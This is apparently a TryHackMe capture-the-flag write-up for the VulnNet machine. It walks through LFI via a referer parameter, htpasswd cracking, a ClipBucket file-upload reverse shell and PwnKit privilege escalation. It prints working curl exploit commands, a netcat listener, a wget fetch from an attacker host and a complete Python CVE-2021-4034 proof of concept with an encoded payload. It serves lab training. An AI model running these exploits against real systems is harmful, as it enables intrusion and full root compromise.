Platform: TryHackMe
Difficulty: Medium
Reconnaissance
Nmap
nmap -sC -sV -A MACHINE-IP -oA nmap
Starting Nmap 7.98 at 2026-06-12 06:47 -0400
Nmap scan report for 10.49.133.153
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
| 256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_ 256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: "VulnNet"
|_http-server-header: Apache/2.4.29 (Ubuntu)
The attack surface here is intentionally minimal - only two ports are open.
| Port | Service |
|---|---|
| 22 | OpenSSH 7.6p1 (Ubuntu) |
| 80 | Apache httpd 2.4.29 |
No SMB, no AD, no WinRM. Everything is going to happen through the web. The machine hint also tells us to add vulnnet.thm to /etc/hosts, which signals that virtual host routing is in play.
echo "MACHINE-IP vulnnet.thm" >> /etc/hosts
Web Directory Brute Force
ffuf -u http://MACHINE-IP/FUZZ -w /usr/share/wordlists/dirb/big.txt -ac -e php,html,txt,py,js
css [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 79ms]
fonts [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 78ms]
img [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 84ms]
js [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 101ms]
Nothing immediately exploitable - just static asset directories. At this point, the two Webpack-bundled JavaScript files in /js/ stood out: index__7ed54732.js and index__d8338055.js. Bundled JS files often have hardcoded paths or configuration baked in, so they're worth reading even if they look like minified noise.
LFI Discovery via JavaScript Source
curl http://vulnnet.thm/js/index__d8338055.js
!function(e,t){...}
...n.p="http://vulnnet.thm/index.php?referer=",n(n.s=0)}
...
Buried in the bundle is the string n.p="http://vulnnet.thm/index.php?referer=". The referer parameter is being used as a base path — a classic sign of a file inclusion sink. Testing it with a path traversal payload:
curl "http://vulnnet.thm/index.php?referer=..//etc/passwd" | grep bash
root:x:0:0:root:/root:/bin/bash
server-management:x:1000:1000:server-management,,,:/home/server-management:/bin/bash
/etc/passwd comes back inline with the page HTML - Local File Inclusion confirmed. Two shell users are visible: root and server-management. RFI was attempted but did not work. The focus shifted to reading Apache configuration files, which often reveal credentials, virtual hosts, and internal paths.
Reading Apache Config via LFI
Fetching the virtual host config:
curl "http://vulnnet.thm/index.php?referer=..//etc/apache2/sites-enabled/000-default.conf"
<VirtualHost *:80>
ServerName vulnnet.thm
DocumentRoot /var/www/main
...
</VirtualHost>
<VirtualHost *:80>
ServerName broadcast.vulnnet.thm
DocumentRoot /var/www/html
...
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
...
</VirtualHost>
Two virtual hosts: vulnnet.thm and broadcast.vulnnet.thm. The broadcast vhost is protected by HTTP Basic Auth and the credential file path is explicitly listed as /etc/apache2/.htpasswd. That's our next read target.
curl "http://vulnnet.thm/index.php?referer=..//etc/apache2/.htpasswd"
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
Cracking the htpasswd Hash
The hash is Apache MD5 ($apr1$). Save it to hash.txt and crack with john:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
[REDACTED] (?)
1g 0:00:00:08 DONE (2026-06-12 07:19) 0.1149g/s 248408p/s 248408c/s 248408C/s
Session completed.
Password cracked: [REDACTED]
Virtual Host Enumeration
The Apache config already revealed broadcast.vulnnet.thm, but a vhost fuzz independently confirms it and rules out other subdomains:
ffuf -u http://vulnnet.thm -H "HOST: FUZZ.vulnnet.thm" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
whm [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4566ms]
mail [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4563ms]
vpn [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4564ms]
broadcast [Status: 401, Size: 468, Words: 42, Lines: 15, Duration: 96ms]
The empty 200s (whm, mail, vpn) are wildcard DNS noise — every non-existent subdomain resolves to the same IP and returns a blank page. broadcast is the only one that returns a 401, meaning the server actually routes it to a real vhost with Basic Auth configured. That's the one we want.
echo "MACHINE-IP broadcast.vulnnet.thm" >> /etc/hosts
Visiting http://broadcast.vulnnet.thm, authenticating with developers:[REDACTED], reveals a ClipBucket video-sharing platform.
Initial Access - ClipBucket Arbitrary File Upload (EDB-44250)
Logging into ClipBucket with the same credentials didn't work, and directory brute forcing the vhost returned nothing. The page source reveals the ClipBucket version as v4.0. Checking exploitdb:
searchsploit clipbucket
ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection | php/webapps/44250.txt
ClipBucket 2.8.3 - Remote Code Execution | php/webapps/42954.py
ClipBucket - 'beats_uploader' Arbitrary File Upload (Metasploit) | php/webapps/44346.rb
...
EDB-44250 covers ClipBucket < 4.0.0 Release 4902, which has unauthenticated arbitrary file upload via /actions/beats_uploader.php and /actions/photo_uploader.php. These endpoints only need the HTTP Basic Auth credentials for the vhost — no ClipBucket account required.
Generate a PHP reverse shell (pentestmonkey) from revshells.com, save as file.php.
First attempt with photo_uploader.php:
curl -i -F "file=@file.php" -F "plupload=1" -F "name=file.php" \
http://broadcast.vulnnet.thm/actions/photo_uploader.php \
-u developers:[REDACTED]
HTTP/1.1 200 OK
...
Returns 200 but no file path in the response — can't trigger it without knowing where it landed. Switching to beats_uploader.php:
curl -i -F "file=@file.php" -F "plupload=1" -F "name=file.php" \
http://broadcast.vulnnet.thm/actions/beats_uploader.php \
-u developers:[REDACTED]
HTTP/1.1 200 OK
Date: Fri, 12 Jun 2026 14:44:49 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8
{"success":"yes","file_name":"178127548930eb54","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"}
Upload confirmed. The response returns the exact filename and directory. Start a listener and trigger the shell:
nc -lvnp 4444
curl http://broadcast.vulnnet.thm/actions/CB_BEATS_UPLOAD_DIR/178127548930eb54.php \
-u developers:[REDACTED]
Shell received:
www-data@vulnnet:/$ whoami
www-data
www-data@vulnnet:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation - CVE-2021-4034 (PwnKit)
First thing after landing — check SUID binaries and the OS version:
find / -perm -4000 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/lib/openssh/ssh-keysign
...
pkexec is SUID. Checking the OS:
uname -a
Linux vulnnet 4.15.0-134-generic #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021 x86_64 GNU/Linux
apt-cache policy policykit-1
policykit-1:
Installed: 0.105-20
Candidate: 0.105-20ubuntu0.18.04.5
Version table:
0.105-20ubuntu0.18.04.5 500
500 http://security.ubuntu.com/ubuntu bionic-security/main amd64 Packages
*** 0.105-20 500
500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages
Installed policykit-1 is 0.105-20 — the unpatched version. The candidate (0.105-20ubuntu0.18.04.5) contains the fix for CVE-2021-4034 (PwnKit). The CVE exploits a memory corruption issue in how pkexec handles its argument vector at startup — the authentication prompt is never reached. Running pkexec id interactively fails with an auth prompt, but that's irrelevant to the exploit path.
www-data@vulnnet:/$ pkexec id
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/usr/bin/id' as the super user
Authenticating as: root
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===
That failing is expected. Two exploit options:
Option A — Python PoC (self-contained, no compilation needed):
This script bundles the exploit payload as base64 and constructs everything it needs at runtime — no make, no compiler required on the target.
#!/usr/bin/env python3
# CVE-2021-4034 in Python
# Joe Ammond (joe@ammond.org)
# Cribbed from blasty's original C code: https://haxx.in/files/blasty-vs-pkexec.c
import base64
import os
import sys
from ctypes import *
from ctypes.util import find_library
# Payload: base64-encoded ELF shared object generated with:
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
# PrependSetuid=true is critical — without it you get a shell as the current user, not root.
payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)
# Environment passed to execve() — sets up GCONV_PATH trick
environ = [
b'exploit',
b'PATH=GCONV_PATH=.',
b'LC_MESSAGES=en_US.UTF-8',
b'XAUTHORITY=../LOL',
None
]
# Load libc to call execve() directly
# Python's os.execve() requires arguments, so we bypass it via ctypes
try:
libc = CDLL(find_library('c'))
except:
print('[!] Unable to find the C library, wtf?')
sys.exit()
# Write the shared library payload to disk
print('[+] Creating shared library for exploit code.')
try:
with open('payload.so', 'wb') as f:
f.write(payload)
except:
print('[!] Failed creating payload.so.')
sys.exit()
os.chmod('payload.so', 0o0755)
# Create GCONV_PATH=. directory (part of the env variable trick)
try:
os.mkdir('GCONV_PATH=.')
except FileExistsError:
print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
print('[!] Failed making GCONV_PATH=. directory.')
sys.exit()
# Drop empty exploit binary into GCONV_PATH=.
try:
with open('GCONV_PATH=./exploit', 'wb') as f:
f.write(b'')
except:
print('[!] Failed creating exploit file')
sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)
# Create gconv-modules config pointing to our payload
try:
os.mkdir('exploit')
except FileExistsError:
print('[-] exploit directory already exists, continuing.')
except:
print('[!] Failed making exploit directory.')
sys.exit()
try:
with open('exploit/gconv-modules', 'wb') as f:
f.write(b'module UTF-8// INTERNAL ../payload 2\n')
except:
print('[!] Failed to create gconf-modules config file.')
sys.exit()
# Convert environment to char* array
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ
print('[+] Calling execve()')
# Call execve() with NULL argv — this is the core of the vulnerability
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
Save as CVE-2021-4034.py, host it, and pull it onto the target.
Option B — C-based exploit:
# On attack box
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make
python3 -m http.server 80
Transfer and execute on the target:
www-data@vulnnet:/$ cd /tmp
www-data@vulnnet:/tmp$ wget http://YOUR-IP/CVE-2021-4034.py
--2026-06-13 06:02:56-- http://YOUR-IP/CVE-2021-4034.py
Connecting to YOUR-IP:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3262 (3.2K) [text/x-python]
Saving to: 'CVE-2021-4034.py'
CVE-2021-4034.py 100%[================>] 3.19K --.-KB/s in 0.02s
www-data@vulnnet:/tmp$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# whoami
root
Root shell obtained.
# cat /home/server-management/user.txt
THM{REDACTED}
# cat /root/root.txt
THM{REDACTED}
Summary
| Step | Technique | Result |
|---|---|---|
| JS source analysis | Hardcoded referer= path in bundle |
LFI entry point discovered |
| LFI | /index.php?referer=..//etc/apache2/... |
.htpasswd hash and vhost config leaked |
| Hash cracking |
john with rockyou |
developers credentials |
| vhost enum |
ffuf with Host header fuzzing |
broadcast.vulnnet.thm discovered |
| File upload | ClipBucket EDB-44250 beats_uploader.php
|
PHP shell uploaded as www-data
|
| PrivEsc | CVE-2021-4034 PwnKit on unpatched pkexec | Root shell |
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Port and service enumeration |
| ffuf | Directory and vhost brute force |
| curl | LFI exploitation and file upload |
| john | Hash cracking (Apache MD5) |
| searchsploit | ClipBucket vulnerability research |
| CVE-2021-4034 PoC | PwnKit privilege escalation |
| nc | Reverse shell listener |
Key Vulnerabilities
| # | Vulnerability | Impact |
|---|---|---|
| 1 | LFI via referer parameter in index.php
|
Arbitrary file read — leaked Apache config and .htpasswd
|
| 2 |
.htpasswd exposed via LFI |
Crackable Apache MD5 hash → developers credentials |
| 3 | ClipBucket < 4.0.0-4902 arbitrary file upload (EDB-44250) | PHP shell upload → RCE as www-data
|
| 4 | CVE-2021-4034 (PwnKit) — unpatched policykit-1 0.105-20
|
Local privilege escalation to root |
Attack Chain
JS bundle → hardcoded ?referer= path → LFI confirmed
→ LFI: /etc/apache2/sites-enabled/000-default.conf → broadcast.vulnnet.thm + .htpasswd path
→ LFI: /etc/apache2/.htpasswd → developers hash
→ john → developers password cracked
→ vhost fuzz → broadcast.vulnnet.thm (401 Basic Auth, real vhost)
→ ClipBucket EDB-44250 beats_uploader.php → PHP shell upload (path returned in response)
→ curl CB_BEATS_UPLOAD_DIR/shell.php → www-data shell
→ CVE-2021-4034 PwnKit → root